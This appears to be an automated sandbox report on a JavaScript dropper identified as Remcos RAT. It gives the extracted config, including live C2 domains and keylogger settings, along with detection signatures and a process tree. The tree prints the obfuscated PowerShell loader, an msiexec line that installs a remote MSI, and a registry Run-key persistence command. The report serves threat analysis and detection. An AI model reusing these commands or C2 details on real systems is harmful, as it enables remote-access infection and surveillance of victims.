Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/05/2026, 12:17

General

  • Target
    Orden_de_Compra_2026-07-04.js
  • Size 110KB
  • Sample260507-pgd95sdv7s
  • SHA256 5deb85e0d89bf551bce88ebfd68f4566a188f8bce883a90d12501c5268a9b3d0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.2.4 Pro

Botnet
  • Ojiigbo_

C2
  • jahour7lamo1.duckdns.org:56090

  • jahour7lamo2.duckdns.org:56090

  • jahour7lamo3.duckdns.org:56090

  • jahour7lamo4.duckdns.org:56090

  • yam.janou8kaburo1.com:56090

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    mprtys.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    lmprtkld-KPJFU6

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 5 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 7 IoCs

    Network activity triggered a Suricata alert

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Use of msiexec (install) with remote resource 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Orden_de_Compra_2026-07-04.js
    1⤵
    • Badlisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Incessanc.lnk"
      2⤵
        PID:4936
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c START "Clot" /min powershell -Command "$Nonsu101=($HOME+'/app'+'data/roaming/Scleriz201');$apron=gc $Nonsu101;$Brightens=$apron[3477]+$apron[3478]+$apron[3479]; .($Brightens) $apron" && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$Nonsu101=($HOME+'/app'+'data/roaming/Scleriz201');$apron=gc $Nonsu101;$Brightens=$apron[3477]+$apron[3478]+$apron[3479]; .($Brightens) $apron"
          3⤵
          • Badlisted process makes network request
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3452
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Nonsu101=($HOME+'/app'+'data/roaming/Scleriz201');$apron=gc $Nonsu101;$Brightens=$apron[3477]+$apron[3478]+$apron[3479]; .($Brightens) $apron"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5308
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\WINDOWS\syswow64\msiexec.exe" /i https://Mezzo/Vane.msi
        2⤵
        • Use of msiexec (install) with remote resource
        • Event Triggered Execution: Installer Packages
        PID:3016
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\WINDOWS\syswow64\msiexec.exe" /i https://Mezzo/Vane.msi
        2⤵
        • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
        • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
        • Badlisted process makes network request
        • Use of msiexec (install) with remote resource
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Event Triggered Execution: Installer Packages
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4360
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\WINDOWS\syswow64\msiexec.exe" /i https://Mezzo/Vane.msi
          3⤵
          • Use of msiexec (install) with remote resource
          • Event Triggered Execution: Installer Packages
          PID:5856
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Raacrem" /t REG_EXPAND_SZ /d "%Lividnessi% -windowstyle 2 $Pant=(.'gp' 'HKCU:\Software\Lnpotsy\').'Progr255';%Lividnessi% ($Pant)"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5976
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Raacrem" /t REG_EXPAND_SZ /d "%Lividnessi% -windowstyle 2 $Pant=(.'gp' 'HKCU:\Software\Lnpotsy\').'Progr255';%Lividnessi% ($Pant)"
            4⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:4028

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e2e8daf77531bfe8cff2e74843c51f9bc2aec92a7c9b09e80db849d2d4a1bf41
          • MD5 SHA1 SHA512 TLSH

          Incessanc.lnk

          • Path C:\Users\Admin\AppData\Local\Temp\Incessanc.lnk
          • Size 1KB
          • SHA256 70224e52f0ced48f5dd47c92d4de61ecca6e10d76f550c5b8a0e2169e10538ab
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_w3bsrmpg.xbf.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w3bsrmpg.xbf.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Barmandenb.raa

          • Path C:\Users\Admin\AppData\Roaming\Barmandenb.raa
          • Size 374KB
          • SHA256 bb8df531344c0126d6235dc24ce270c6ec42310d75b66fc84bb3050f6fb8c779
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Scleriz201

          • Path C:\Users\Admin\appdata\roaming\Scleriz201
          • Size 3KB
          • SHA256 d53c87247899665bf1d19ff514545d124ce50a07d37b7709b7277b646e19c637
          • MD5 SHA1 SHA512 TLSH

          memory/3452-11-0x0000017578320000-0x0000017578342000-memory.dmp

          memory/3452-24-0x0000017577C60000-0x0000017577C6C000-memory.dmp

          memory/4360-87-0x000000001E190000-0x000000001E287000-memory.dmp

          memory/4360-84-0x000000001E190000-0x000000001E287000-memory.dmp

          memory/4360-78-0x0000000000CC0000-0x0000000001F14000-memory.dmp

          memory/4360-69-0x0000000000CC0000-0x0000000001F14000-memory.dmp

          memory/4360-88-0x000000001E190000-0x000000001E287000-memory.dmp

          memory/4804-7-0x00000212C0E90000-0x00000212C0E9C000-memory.dmp

          memory/4804-4-0x00000212C0E90000-0x00000212C0E9C000-memory.dmp

          memory/4996-41-0x0000000002A70000-0x0000000002A7C000-memory.dmp

          memory/4996-77-0x0000000002A70000-0x0000000002A7C000-memory.dmp

          memory/5308-45-0x0000000007C60000-0x0000000008204000-memory.dmp

          memory/5308-61-0x0000000007BF0000-0x0000000007BFE000-memory.dmp

          memory/5308-43-0x0000000006B00000-0x0000000006B1A000-memory.dmp

          memory/5308-44-0x0000000006B70000-0x0000000006B92000-memory.dmp

          memory/5308-40-0x0000000006640000-0x000000000668C000-memory.dmp

          memory/5308-46-0x0000000008890000-0x0000000008F0A000-memory.dmp

          memory/5308-47-0x0000000007A20000-0x0000000007A52000-memory.dmp

          memory/5308-48-0x0000000070BB0000-0x0000000070BFC000-memory.dmp

          memory/5308-49-0x0000000070D60000-0x00000000710B4000-memory.dmp

          memory/5308-57-0x0000000007A60000-0x0000000007A7E000-memory.dmp

          memory/5308-58-0x0000000007A90000-0x0000000007B33000-memory.dmp

          memory/5308-59-0x0000000007B90000-0x0000000007B9A000-memory.dmp

          memory/5308-60-0x0000000007BB0000-0x0000000007BC1000-memory.dmp

          memory/5308-42-0x0000000006C10000-0x0000000006CA6000-memory.dmp

          memory/5308-62-0x0000000007C00000-0x0000000007C14000-memory.dmp

          memory/5308-63-0x0000000007C40000-0x0000000007C5A000-memory.dmp

          memory/5308-64-0x0000000007C30000-0x0000000007C38000-memory.dmp

          memory/5308-39-0x0000000006600000-0x000000000661E000-memory.dmp

          memory/5308-66-0x0000000008F10000-0x000000000BD12000-memory.dmp

          memory/5308-37-0x0000000006000000-0x0000000006354000-memory.dmp

          memory/5308-29-0x0000000005ED0000-0x0000000005F36000-memory.dmp

          memory/5308-28-0x0000000005E60000-0x0000000005EC6000-memory.dmp

          memory/5308-27-0x0000000005630000-0x0000000005652000-memory.dmp

          memory/5308-26-0x00000000056C0000-0x0000000005CE8000-memory.dmp

          memory/5308-25-0x0000000005050000-0x0000000005086000-memory.dmp